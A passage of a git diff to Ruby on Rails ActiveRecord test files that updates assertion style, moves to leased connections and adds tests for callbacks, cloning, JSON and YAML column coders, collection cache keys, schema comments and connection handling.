     assert_equal david, exc.record
 
     david = DeveloperWithCanceledCallbacks.find(1)
     david.salary = 10_000_000
-    assert !david.valid?
-    assert !david.save
+    assert_not_predicate david, :valid?
+    assert_not david.save
     assert_raise(ActiveRecord::RecordInvalid) { david.save! }
 
     someone = CallbackHaltedDeveloper.find(1)
     someone.cancel_before_save = true
-    assert someone.valid?
-    assert !someone.save
+    assert_predicate someone, :valid?
+    assert_not someone.save
     assert_save_callbacks_not_called(someone)
   end
 
   def test_before_update_throwing_abort
     someone = CallbackHaltedDeveloper.find(1)
     someone.cancel_before_update = true
-    assert someone.valid?
-    assert !someone.save
+    assert_predicate someone, :valid?
+    assert_not someone.save
     assert_save_callbacks_not_called(someone)
   end
 
   def test_before_destroy_throwing_abort
     david = DeveloperWithCanceledCallbacks.find(1)
-    assert !david.destroy
+    assert_not david.destroy
     exc = assert_raise(ActiveRecord::RecordNotDestroyed) { david.destroy! }
     assert_equal david, exc.record
     assert_not_nil ImmutableDeveloper.find_by_id(1)
 
     someone = CallbackHaltedDeveloper.find(1)
     someone.cancel_before_destroy = true
-    assert !someone.destroy
+    assert_not someone.destroy
     assert_raise(ActiveRecord::RecordNotDestroyed) { someone.destroy! }
-    assert !someone.after_destroy_called
+    assert_not someone.after_destroy_called
   end
 
   def test_callback_throwing_abort
@@ -456,22 +458,45 @@ def test_callback_throwing_abort
       [ :before_validation, :object ],
       [ :before_validation, :block  ],
       [ :before_validation, :throwing_abort ],
-      [ :after_rollback,    :block  ],
-      [ :after_rollback,    :object ],
-      [ :after_rollback,    :proc   ],
-      [ :after_rollback,    :method ],
     ], david.history
   end
 
   def test_inheritance_of_callbacks
     parent = ParentDeveloper.new
-    assert !parent.after_save_called
+    assert_not parent.after_save_called
     parent.save
     assert parent.after_save_called
 
     child = ChildDeveloper.new
-    assert !child.after_save_called
+    assert_not child.after_save_called
     child.save
     assert child.after_save_called
   end
+
+  def test_before_save_doesnt_allow_on_option
+    exception = assert_raises ArgumentError do
+      Class.new(ActiveRecord::Base) do
+        before_save(on: :create) { }
+      end
+    end
+    assert_equal "Unknown key: :on. Valid keys are: :if, :unless, :prepend", exception.message
+  end
+
+  def test_around_save_doesnt_allow_on_option
+    exception = assert_raises ArgumentError do
+      Class.new(ActiveRecord::Base) do
+        around_save(on: :create) { }
+      end
+    end
+    assert_equal "Unknown key: :on. Valid keys are: :if, :unless, :prepend", exception.message
+  end
+
+  def test_after_save_doesnt_allow_on_option
+    exception = assert_raises ArgumentError do
+      Class.new(ActiveRecord::Base) do
+        after_save(on: :create) { }
+      end
+    end
+    assert_equal "Unknown key: :on. Valid keys are: :if, :unless, :prepend", exception.message
+  end
 end
diff --git a/activerecord/test/cases/clone_test.rb b/activerecord/test/cases/clone_test.rb
index b89294c09410f..cff084b896dc2 100644
--- a/activerecord/test/cases/clone_test.rb
+++ b/activerecord/test/cases/clone_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 
@@ -8,9 +10,11 @@ class CloneTest < ActiveRecord::TestCase
     def test_persisted
       topic = Topic.first
       cloned = topic.clone
-      assert topic.persisted?, "topic persisted"
-      assert cloned.persisted?, "topic persisted"
-      assert !cloned.new_record?, "topic is not new"
+      assert_predicate topic, :persisted?, "topic persisted"
+      assert_predicate cloned, :persisted?, "topic persisted"
+      assert_not cloned.new_record?, "topic is not new"
+      assert_not cloned.previously_new_record?, "topic was not previously new"
+      assert_not cloned.previously_persisted?, "topic was not previously persisted"
     end
 
     def test_stays_frozen
@@ -18,9 +22,10 @@ def test_stays_frozen
       topic.freeze
 
       cloned = topic.clone
-      assert cloned.persisted?, "topic persisted"
-      assert !cloned.new_record?, "topic is not new"
-      assert cloned.frozen?, "topic should be frozen"
+      assert_predicate cloned, :persisted?, "topic persisted"
+      assert_not cloned.new_record?, "topic is not new"
+      assert_predicate cloned, :frozen?, "topic should be frozen"
+      assert_raise(FrozenError) { cloned.author_name = "Aaron" }
     end
 
     def test_shallow
@@ -34,7 +39,8 @@ def test_freezing_a_cloned_model_does_not_freeze_clone
       cloned = Topic.new
       clone = cloned.clone
       cloned.freeze
-      assert_not clone.frozen?
+      assert_not_predicate clone, :frozen?
+      assert_raise(FrozenError) { cloned.author_name = "Aaron" }
     end
   end
 end
diff --git a/activerecord/test/cases/coders/json_test.rb b/activerecord/test/cases/coders/json_test.rb
index d22d93d1291b7..10eab7fe3e02b 100644
--- a/activerecord/test/cases/coders/json_test.rb
+++ b/activerecord/test/cases/coders/json_test.rb
@@ -1,14 +1,23 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
   module Coders
     class JSONTest < ActiveRecord::TestCase
       def test_returns_nil_if_empty_string_given
-        assert_nil JSON.load("")
+        coder = JSON.new
+        assert_nil coder.load("")
       end
 
       def test_returns_nil_if_nil_given
-        assert_nil JSON.load(nil)
+        coder = JSON.new
+        assert_nil coder.load(nil)
+      end
+
+      def test_coder_with_symbolize_names
+        coder = JSON.new(symbolize_names: true)
+        assert_equal({ foo: "bar" }, coder.load('{"foo":"bar"}'))
       end
     end
   end
diff --git a/activerecord/test/cases/coders/yaml_column_test.rb b/activerecord/test/cases/coders/yaml_column_test.rb
index 59ef389326ea8..fea776c515a2d 100644
--- a/activerecord/test/cases/coders/yaml_column_test.rb
+++ b/activerecord/test/cases/coders/yaml_column_test.rb
@@ -1,9 +1,19 @@
+# frozen_string_literal: true
 
 require "cases/helper"
 
 module ActiveRecord
   module Coders
     class YAMLColumnTest < ActiveRecord::TestCase
+      setup do
+        @use_yaml_unsafe_load = ActiveRecord.use_yaml_unsafe_load
+        ActiveRecord.use_yaml_unsafe_load = true
+      end
+
+      teardown do
+        ActiveRecord.use_yaml_unsafe_load = @use_yaml_unsafe_load
+      end
+
       def test_initialize_takes_class
         coder = YAMLColumn.new("attr_name", Object)
         assert_equal Object, coder.object_class
@@ -40,9 +50,11 @@ def test_returns_string_unless_starts_with_dash
         assert_equal "foo", coder.load("foo")
       end
 
-      def test_load_handles_other_classes
+      def test_load_raises_on_other_classes
         coder = YAMLColumn.new("attr_name")
-        assert_equal [], coder.load([])
+        assert_raises TypeError do
+          coder.load([])
+        end
       end
 
       def test_load_doesnt_swallow_yaml_exceptions
@@ -61,5 +73,89 @@ def test_load_doesnt_handle_undefined_class_or_module
         end
       end
     end
+
+    class YAMLColumnTestWithSafeLoad < YAMLColumnTest
+      setup do
+        @use_yaml_unsafe_load = ActiveRecord.use_yaml_unsafe_load
+        @yaml_column_permitted_classes_default = ActiveRecord.yaml_column_permitted_classes
+        ActiveRecord.use_yaml_unsafe_load = false
+      end
+
+      teardown do
+        ActiveRecord.use_yaml_unsafe_load = @use_yaml_unsafe_load
+        ActiveRecord.yaml_column_permitted_classes = @yaml_column_permitted_classes_default
+      end
+
+      def test_yaml_column_permitted_classes_are_consumed_by_safe_load
+        ActiveRecord.yaml_column_permitted_classes = [Symbol, Time]
+
+        coder = YAMLColumn.new("attr_name")
+        time_yaml = YAML.dump(Time.new)
+        symbol_yaml = YAML.dump(:somesymbol)
+
+        assert_nothing_raised do
+          coder.load(time_yaml)
+          coder.load(symbol_yaml)
+        end
+      end
+
+      def test_yaml_column_permitted_classes_are_consumed_by_safe_dump
+        if Gem::Version.new(Psych::VERSION) < Gem::Version.new("5.1")
+          skip "YAML.safe_dump is either missing on unavailable on #{Psych::VERSION}"
+        end
+
+        coder = YAMLColumn.new("attr_name")
+        assert_raises(Psych::DisallowedClass) do
+          coder.dump([Time.new])
+        end
+      end
+
+      def test_yaml_column_permitted_classes_option
+        ActiveRecord.yaml_column_permitted_classes = [Symbol]
+
+        coder = YAMLColumn.new("attr_name", permitted_classes: [Time])
+        time_yaml = YAML.dump(Time.new)
+        symbol_yaml = YAML.dump(:somesymbol)
+
+        assert_nothing_raised do
+          coder.load(time_yaml)
+          coder.load(symbol_yaml)
+        end
+      end
+
+      def test_yaml_column_unsafe_load_option
+        ActiveRecord.use_yaml_unsafe_load = false
+        ActiveRecord.yaml_column_permitted_classes = []
+
+        coder = YAMLColumn.new("attr_name", unsafe_load: true)
+        time_yaml = YAML.dump(Time.new)
+        symbol_yaml = YAML.dump(:somesymbol)
+
+        assert_nothing_raised do
+          coder.load(time_yaml)
+          coder.load(symbol_yaml)
+        end
+      end
+
+      def test_yaml_column_override_unsafe_load_option
+        ActiveRecord.use_yaml_unsafe_load = true
+        ActiveRecord.yaml_column_permitted_classes = []
+
+        coder = YAMLColumn.new("attr_name", unsafe_load: false)
+        time_yaml = YAML.dump(Time.new)
+
+        assert_raises(Psych::DisallowedClass) do
+          coder.load(time_yaml)
+        end
+      end
+
+      def test_load_doesnt_handle_undefined_class_or_module
+        coder = YAMLColumn.new("attr_name")
+        missing_class_yaml = '--- !ruby/object:DoesNotExistAndShouldntEver {}\n'
+        assert_raises(Psych::DisallowedClass) do
+          coder.load(missing_class_yaml)
+        end
+      end
+    end
   end
 end
diff --git a/activerecord/test/cases/collection_cache_key_test.rb b/activerecord/test/cases/collection_cache_key_test.rb
index 381a78a8e2840..f57c9bbc20185 100644
--- a/activerecord/test/cases/collection_cache_key_test.rb
+++ b/activerecord/test/cases/collection_cache_key_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/computer"
 require "models/developer"
@@ -5,38 +7,179 @@
 require "models/topic"
 require "models/post"
 require "models/comment"
+require "models/ship"
 
 module ActiveRecord
   class CollectionCacheKeyTest < ActiveRecord::TestCase
     fixtures :developers, :projects, :developers_projects, :topics, :comments, :posts
 
     test "collection_cache_key on model" do
-      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\Z/, Developer.collection_cache_key)
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, Developer.collection_cache_key)
     end
 
     test "cache_key for relation" do
-      developers = Developer.where(name: "David")
-      last_developer_timestamp = developers.order(updated_at: :desc).first.updated_at
+      developers = Developer.where(salary: 100000).order(updated_at: :desc)
+      last_developer_timestamp = developers.first.updated_at
+
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+
+      /\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/ =~ developers.cache_key
+
+      assert_equal ActiveSupport::Digest.hexdigest(developers.to_sql), $1
+      assert_equal developers.count.to_s, $2
+      assert_equal last_developer_timestamp.to_fs(ActiveRecord::Base.cache_timestamp_format), $3
+    end
+
+    test "cache_key for relation with limit" do
+      developers = Developer.where(salary: 100000).order(updated_at: :desc).limit(5)
+      last_developer_timestamp = developers.first.updated_at
+
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+
+      /\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/ =~ developers.cache_key
+
+      assert_equal ActiveSupport::Digest.hexdigest(developers.to_sql), $1
+      assert_equal developers.count.to_s, $2
+      assert_equal last_developer_timestamp.to_fs(ActiveRecord::Base.cache_timestamp_format), $3
+    end
+
+    test "cache_key for relation with custom select and limit" do
+      developers = Developer.where(salary: 100000).order(updated_at: :desc).limit(5)
+      developers_with_select = developers.select("developers.*")
+      last_developer_timestamp = developers.first.updated_at
+
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers_with_select.cache_key)
+
+      /\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/ =~ developers_with_select.cache_key
+
+      assert_equal ActiveSupport::Digest.hexdigest(developers_with_select.to_sql), $1
+      assert_equal developers.count.to_s, $2
+      assert_equal last_developer_timestamp.to_fs(ActiveRecord::Base.cache_timestamp_format), $3
+    end
+
+    test "cache_key for loaded relation" do
+      developers = Developer.where(salary: 100000).order(updated_at: :desc).limit(5).load
+      last_developer_timestamp = developers.first.updated_at
+
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+
+      /\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/ =~ developers.cache_key
+
+      assert_equal ActiveSupport::Digest.hexdigest(developers.to_sql), $1
+      assert_equal developers.count.to_s, $2
+      assert_equal last_developer_timestamp.to_fs(ActiveRecord::Base.cache_timestamp_format), $3
+    end
+
+    test "cache_key for relation with table alias" do
+      table_alias = Developer.arel_table.alias("omg_developers")
 
-      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\Z/, developers.cache_key)
+      developers = ActiveRecord::Relation.create(Developer, table: table_alias)
+      developers = developers.where(salary: 100000).order(updated_at: :desc)
+      last_developer_timestamp = developers.first.updated_at
 
-      /\Adevelopers\/query-(\h+)-(\d+)-(\d+)\Z/ =~ developers.cache_key
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
 
-      assert_equal Digest::MD5.hexdigest(developers.to_sql), $1
+      /\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/ =~ developers.cache_key
+
+      assert_equal ActiveSupport::Digest.hexdigest(developers.to_sql), $1
       assert_equal developers.count.to_s, $2
-      assert_equal last_developer_timestamp.to_s(ActiveRecord::Base.cache_timestamp_format), $3
+      assert_equal last_developer_timestamp.to_fs(ActiveRecord::Base.cache_timestamp_format), $3
+    end
+
+    test "cache_key for relation with includes" do
+      comments = Comment.includes(:post).where("posts.type": "Post")
+      assert_match(/\Acomments\/query-(\h+)-(\d+)-(\d+)\z/, comments.cache_key)
+    end
+
+    test "cache_key for loaded relation with includes" do
+      comments = Comment.includes(:post).where("posts.type": "Post").load
+      assert_match(/\Acomments\/query-(\h+)-(\d+)-(\d+)\z/, comments.cache_key)
+    end
+
+    test "insert_all will update cache_key" do
+      skip unless supports_insert_on_duplicate_skip?
+
+      developers = Developer.all
+      cache_key = developers.cache_key
+
+      developers.insert_all([{ name: "Alice" }, { name: "Bob" }])
+
+      assert_not_equal cache_key, developers.cache_key
+    end
+
+    test "upsert_all will update cache_key" do
+      skip unless supports_insert_on_duplicate_update?
+
+      developers = Developer.all
+      cache_key = developers.cache_key
+
+      developers.upsert_all([{ id: 1, name: "Alice" }, { id: 2, name: "Bob" }])
+
+      assert_not_equal cache_key, developers.cache_key
+    end
+
+    test "update_all will update cache_key" do
+      developers = Developer.where(name: "David")
+      cache_key = developers.cache_key
+
+      developers.update_all(updated_at: Time.now.utc)
+
+      assert_not_equal cache_key, developers.cache_key
+    end
+
+    test "update_all with includes will update cache_key" do
+      developers = Developer.includes(:projects).where("projects.name": "Active Record")
+      cache_key = developers.cache_key
+
+      developers.update_all(updated_at: Time.now.utc)
+
+      assert_not_equal cache_key, developers.cache_key
+    end
+
+    test "delete_all will update cache_key" do
+      developers = Developer.where(name: "David")
+      cache_key = developers.cache_key
+
+      developers.delete_all
+
+      assert_not_equal cache_key, developers.cache_key
+    end
+
+    test "delete_all with includes will update cache_key" do
+      developers = Developer.includes(:projects).where("projects.name": "Active Record")
+      cache_key = developers.cache_key
+
+      developers.delete_all
+
+      assert_not_equal cache_key, developers.cache_key
+    end
+
+    test "destroy_all will update cache_key" do
+      developers = Developer.where(name: "David")
+      cache_key = developers.cache_key
+
+      developers.destroy_all
+
+      assert_not_equal cache_key, developers.cache_key
     end
 
     test "it triggers at most one query" do
       developers = Developer.where(name: "David")
 
-      assert_queries(1) { developers.cache_key }
-      assert_queries(0) { developers.cache_key }
+      assert_queries_count(1) { developers.cache_key }
+      assert_no_queries { developers.cache_key }
     end
 
     test "it doesn't trigger any query if the relation is already loaded" do
       developers = Developer.where(name: "David").load
-      assert_queries(0) { developers.cache_key }
+      assert_no_queries { developers.cache_key }
+    end
+
+    test "it doesn't trigger any query if collection_cache_versioning is enabled" do
+      with_collection_cache_versioning do
+        developers = Developer.where(name: "David")
+        assert_no_queries { developers.cache_key }
+      end
     end
 
     test "relation cache_key changes when the sql query changes" do
@@ -48,12 +191,12 @@ class CollectionCacheKeyTest < ActiveRecord::TestCase
 
     test "cache_key for empty relation" do
       developers = Developer.where(name: "Non Existent Developer")
-      assert_match(/\Adevelopers\/query-(\h+)-0\Z/, developers.cache_key)
+      assert_match(/\Adevelopers\/query-(\h+)-0\z/, developers.cache_key)
     end
 
     test "cache_key with custom timestamp column" do
       topics = Topic.where("title like ?", "%Topic%")
-      last_topic_timestamp = topics(:fifth).written_on.utc.to_s(:usec)
+      last_topic_timestamp = topics(:fifth).written_on.utc.to_fs(:usec)
       assert_match(last_topic_timestamp, topics.cache_key(:written_on))
     end
 
@@ -64,7 +207,7 @@ class CollectionCacheKeyTest < ActiveRecord::TestCase
 
     test "collection proxy provides a cache_key" do
       developers = projects(:active_record).developers
-      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\Z/, developers.cache_key)
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
     end
 
     test "cache_key for loaded collection with zero size" do
@@ -72,18 +215,88 @@ class CollectionCacheKeyTest < ActiveRecord::TestCase
       posts = Post.includes(:comments)
       empty_loaded_collection = posts.first.comments
 
-      assert_match(/\Acomments\/query-(\h+)-0\Z/, empty_loaded_collection.cache_key)
+      assert_match(/\Acomments\/query-(\h+)-0\z/, empty_loaded_collection.cache_key)
     end
 
     test "cache_key for queries with offset which return 0 rows" do
       developers = Developer.offset(20)
-      assert_match(/\Adevelopers\/query-(\h+)-0\Z/, developers.cache_key)
+      assert_match(/\Adevelopers\/query-(\h+)-0\z/, developers.cache_key)
     end
 
     test "cache_key with a relation having selected columns" do
       developers = Developer.select(:salary)
 
-      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\Z/, developers.cache_key)
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+    end
+
+    test "cache_key with a relation having distinct and order" do
+      developers = Developer.distinct.order(:salary).limit(5)
+
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+      assert_not_predicate developers, :loaded?
+    end
+
+    test "cache_key with a relation having custom select and order" do
+      developers = Developer.select("name AS dev_name").order("dev_name DESC").limit(5)
+
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+    end
+
+    test "cache_key should be stable when using collection_cache_versioning" do
+      with_collection_cache_versioning do
+        developers = Developer.where(salary: 100000)
+
+        assert_match(/\Adevelopers\/query-(\h+)\z/, developers.cache_key)
+
+        /\Adevelopers\/query-(\h+)\z/ =~ developers.cache_key
+
+        assert_equal ActiveSupport::Digest.hexdigest(developers.to_sql), $1
+      end
+    end
+
+    test "cache_version for relation" do
+      with_collection_cache_versioning do
+        developers = Developer.where(salary: 100000).order(updated_at: :desc)
+        last_developer_timestamp = developers.first.updated_at
+
+        assert_match(/(\d+)-(\d+)\z/, developers.cache_version)
+
+        /(\d+)-(\d+)\z/ =~ developers.cache_version
+
+        assert_equal developers.count.to_s, $1
+        assert_equal last_developer_timestamp.to_fs(ActiveRecord::Base.cache_timestamp_format), $2
+      end
+    end
+
+    test "reset will reset cache_version" do
+      with_collection_cache_versioning do
+        developers = Developer.all
+
+        assert_equal Developer.all.cache_version, developers.cache_version
+
+        Developer.update_all(updated_at: Time.now.utc + 1.second)
+        developers.reset
+
+        assert_equal Developer.all.cache_version, developers.cache_version
+      end
+    end
+
+    test "cache_key_with_version contains key and version regardless of collection_cache_versioning setting" do
+      key_with_version_1 = Developer.all.cache_key_with_version
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, key_with_version_1)
+
+      with_collection_cache_versioning do
+        key_with_version_2 = Developer.all.cache_key_with_version
+        assert_equal(key_with_version_1, key_with_version_2)
+      end
+    end
+
+    def with_collection_cache_versioning(value = true)
+      @old_collection_cache_versioning = ActiveRecord::Base.collection_cache_versioning
+      ActiveRecord::Base.collection_cache_versioning = value
+      yield
+    ensure
+      ActiveRecord::Base.collection_cache_versioning = @old_collection_cache_versioning
     end
   end
 end
diff --git a/activerecord/test/cases/column_alias_test.rb b/activerecord/test/cases/column_alias_test.rb
index 9893ba9580562..17c2c83b35afe 100644
--- a/activerecord/test/cases/column_alias_test.rb
+++ b/activerecord/test/cases/column_alias_test.rb
@@ -1,17 +1,13 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 
 class TestColumnAlias < ActiveRecord::TestCase
   fixtures :topics
 
-  QUERY = if "Oracle" == ActiveRecord::Base.connection.adapter_name
-    "SELECT id AS pk FROM topics WHERE ROWNUM < 2"
-  else
-    "SELECT id AS pk FROM topics"
-  end
-
   def test_column_alias
-    records = Topic.connection.select_all(QUERY)
-    assert_equal "pk", records[0].keys[0]
+    records = Topic.lease_connection.select_all("SELECT id AS pk FROM topics")
+    assert_equal ["pk"], records.columns
   end
 end
diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb
index d2307001192ce..a759a47cf89e6 100644
--- a/activerecord/test/cases/column_definition_test.rb
+++ b/activerecord/test/cases/column_definition_test.rb
@@ -1,14 +1,25 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
   module ConnectionAdapters
     class ColumnDefinitionTest < ActiveRecord::TestCase
-      def setup
-        @adapter = AbstractAdapter.new(nil)
-        def @adapter.native_database_types
+      class DummyAdapter < AbstractAdapter
+        class << self
+          def quote_column_name(column_name)
+            column_name.to_s
+          end
+        end
+
+        def native_database_types
           { string: "varchar" }
         end
-        @viz = @adapter.schema_creation
+      end
+
+      def setup
+        @adapter = DummyAdapter.new(nil)
+        @viz = @adapter.send(:schema_creation)
       end
 
       # Avoid column definitions in create table statements like:
diff --git a/activerecord/test/cases/comment_test.rb b/activerecord/test/cases/comment_test.rb
index 63f67a9a163bb..86fe6c9d4427e 100644
--- a/activerecord/test/cases/comment_test.rb
+++ b/activerecord/test/cases/comment_test.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
-if ActiveRecord::Base.connection.supports_comments?
+if ActiveRecord::Base.lease_connection.supports_comments?
   class CommentTest < ActiveRecord::TestCase
     include SchemaDumpingHelper
 
@@ -12,8 +14,11 @@ class Commented < ActiveRecord::Base
     class BlankComment < ActiveRecord::Base
     end
 
+    class PkCommented < ActiveRecord::Base
+    end
+
     setup do
-      @connection = ActiveRecord::Base.connection
+      @connection = ActiveRecord::Base.lease_connection
 
       @connection.create_table("commenteds", comment: "A table with comment", force: true) do |t|
         t.string  "name",    comment: "Comment should help clarify the column purpose"
@@ -33,8 +38,13 @@ class BlankComment < ActiveRecord::Base
         t.index :absent_comment
       end
 
+      @connection.create_table("pk_commenteds", comment: "Table comment", id: false, force: true) do |t|
+        t.primary_key :id, comment: "Primary key comment"
+      end
+
       Commented.reset_column_information
       BlankComment.reset_column_information
+      PkCommented.reset_column_information
     end
 
     teardown do
@@ -42,6 +52,11 @@ class BlankComment < ActiveRecord::Base
       @connection.drop_table "blank_comments", if_exists: true
     end
 
+    def test_default_primary_key_comment
+      column = Commented.columns_hash["id"]
+      assert_nil column.comment
+    end
+
     def test_column_created_in_block
       column = Commented.columns_hash["name"]
       assert_equal :string, column.type
@@ -97,6 +112,17 @@ def test_remove_comment_from_column
       assert_nil column.comment
     end
 
+    def test_rename_column_preserves_comment
+      @connection.add_column    :commenteds, :rating, :string, comment: "I am running out of imagination"
+      @connection.rename_column :commenteds, :rating, :new_rating
+
+      Commented.reset_column_information
+      column = Commented.columns_hash["new_rating"]
+
+      assert_equal :string, column.type
+      assert_equal "I am running out of imagination", column.comment
+    end
+
     def test_schema_dump_with_comments
       # Do all the stuff from other tests
       @connection.add_column    :commenteds, :rating, :integer, comment: "I am running out of imagination"
@@ -107,12 +133,12 @@ def test_schema_dump_with_comments
 
       # And check that these changes are reflected in dump
       output = dump_table_schema "commenteds"
-      assert_match %r[create_table "commenteds",.+\s+comment: "A table with comment"], output
+      assert_match %r[create_table "commenteds",.*\s+comment: "A table with comment"], output
       assert_match %r[t\.string\s+"name",\s+comment: "Comment should help clarify the column purpose"], output
       assert_match %r[t\.string\s+"obvious"\n], output
       assert_match %r[t\.string\s+"content",\s+comment: "Whoa, content describes itself!"], output
       assert_match %r[t\.integer\s+"rating",\s+comment: "I am running out of imagination"], output
-      assert_match %r[t\.index\s+.+\s+comment: "\\\"Very important\\\" index that powers all the performance.\\nAnd it's fun!"], output
+      assert_match %r[t\.index\s+.+\s+comment: "\\"Very important\\" index that powers all the performance.\\nAnd it's fun!"], output
       assert_match %r[t\.index\s+.+\s+name: "idx_obvious",\s+comment: "We need to see obvious comments"], output
     end
 
@@ -134,5 +160,42 @@ def test_schema_dump_omits_blank_comments
       assert_match %r[t\.string\s+"absent_comment"\n], output
       assert_no_match %r[t\.string\s+"absent_comment", comment:\n], output
     end
+
+    def test_change_table_comment
+      @connection.change_table_comment :commenteds, "Edited table comment"
+      assert_equal "Edited table comment", @connection.table_comment("commenteds")
+    end
+
+    def test_change_table_comment_to_nil
+      @connection.change_table_comment :commenteds, nil
+      assert_nil @connection.table_comment("commenteds")
+    end
+
+    def test_change_column_comment
+      @connection.change_column_comment :commenteds, :id, "Edited column comment"
+      column = Commented.columns_hash["id"]
+      assert_equal "Edited column comment", column.comment
+
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+        assert_predicate column, :auto_increment?
+      end
+    end
+
+    def test_change_column_comment_to_nil
+      @connection.change_column_comment :commenteds, :name, nil
+      column = Commented.columns_hash["name"]
+      assert_nil column.comment
+    end
+
+    def test_comment_on_primary_key
+      column = PkCommented.columns_hash["id"]
+      assert_equal "Primary key comment", column.comment
+      assert_equal "Table comment", @connection.table_comment("pk_commenteds")
+    end
+
+    def test_schema_dump_with_primary_key_comment
+      output = dump_table_schema "pk_commenteds"
+      assert_match %r[create_table "pk_commenteds", id: { comment: "Primary key comment" }.*, comment: "Table comment"], output
+    end
   end
 end
diff --git a/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
index 64189381cb54a..bb5e306762c7f 100644
--- a/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
+++ b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -18,38 +20,42 @@ def setup
 
       def test_in_use?
         assert_not @adapter.in_use?, "adapter is not in use"
-        assert @adapter.lease, "lease adapter"
-        assert @adapter.in_use?, "adapter is in use"
+        @adapter.lease
+        assert_predicate @adapter, :in_use?, "adapter is in use"
       end
 
       def test_lease_twice
-        assert @adapter.lease, "should lease adapter"
+        @adapter.lease
         assert_raises(ActiveRecordError) do
           @adapter.lease
         end
       end
 
       def test_expire_mutates_in_use
-        assert @adapter.lease, "lease adapter"
-        assert @adapter.in_use?, "adapter is in use"
+        @adapter.lease
+        assert_predicate @adapter, :in_use?, "adapter is in use"
         @adapter.expire
         assert_not @adapter.in_use?, "adapter is in use"
       end
 
       def test_close
-        pool = Pool.new(ConnectionSpecification.new("primary", {}, nil))
+        db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("test", "primary", adapter: "abstract")
+        pool_config = ActiveRecord::ConnectionAdapters::PoolConfig.new(ActiveRecord::Base, db_config, :writing, :default)
+        pool = Pool.new(pool_config)
         pool.insert_connection_for_test! @adapter
         @adapter.pool = pool
 
         # Make sure the pool marks the connection in use
-        assert_equal @adapter, pool.connection
-        assert @adapter.in_use?
+        assert_equal @adapter, pool.lease_connection
+        assert_predicate @adapter, :in_use?
 
         # Close should put the adapter back in the pool
         @adapter.close
-        assert_not @adapter.in_use?
+        assert_not_predicate @adapter, :in_use?
 
-        assert_equal @adapter, pool.connection
+        assert_equal @adapter, pool.lease_connection
+      ensure
+        pool&.disconnect!
       end
     end
   end
diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
index 4f2392042b488..5605a79c16735 100644
--- a/activerecord/test/cases/connection_adapters/connection_handler_test.rb
+++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
@@ -1,39 +1,274 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "models/person"
 
 module ActiveRecord
   module ConnectionAdapters
     class ConnectionHandlerTest < ActiveRecord::TestCase
+      fixtures :people
+
       def setup
         @handler = ConnectionHandler.new
-        @spec_name = "primary"
-        @pool = @handler.establish_connection(ActiveRecord::Base.configurations["arunit"])
+        @connection_name = "ActiveRecord::Base"
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        @pool = @handler.establish_connection(db_config)
+      end
+
+      def teardown
+        clean_up_connection_handler
+      end
+
+      def test_default_env_fall_back_to_default_env_when_rails_env_or_rack_env_is_empty_string
+        original_rails_env = ENV["RAILS_ENV"]
+        original_rack_env  = ENV["RACK_ENV"]
+        ENV["RAILS_ENV"]   = ENV["RACK_ENV"] = ""
+
+        assert_equal "default_env", ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+      ensure
+        ENV["RAILS_ENV"] = original_rails_env
+        ENV["RACK_ENV"]  = original_rack_env
+      end
+
+      def test_establish_connection_using_3_levels_config
+        previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+        config = {
+          "default_env" => {
+            "readonly" => { "adapter" => "sqlite3", "database" => "test/db/readonly.sqlite3" },
+            "primary"  => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+          },
+          "another_env" => {
+            "readonly" => { "adapter" => "sqlite3", "database" => "test/db/bad-readonly.sqlite3" },
+            "primary"  => { "adapter" => "sqlite3", "database" => "test/db/bad-primary.sqlite3" }
+          },
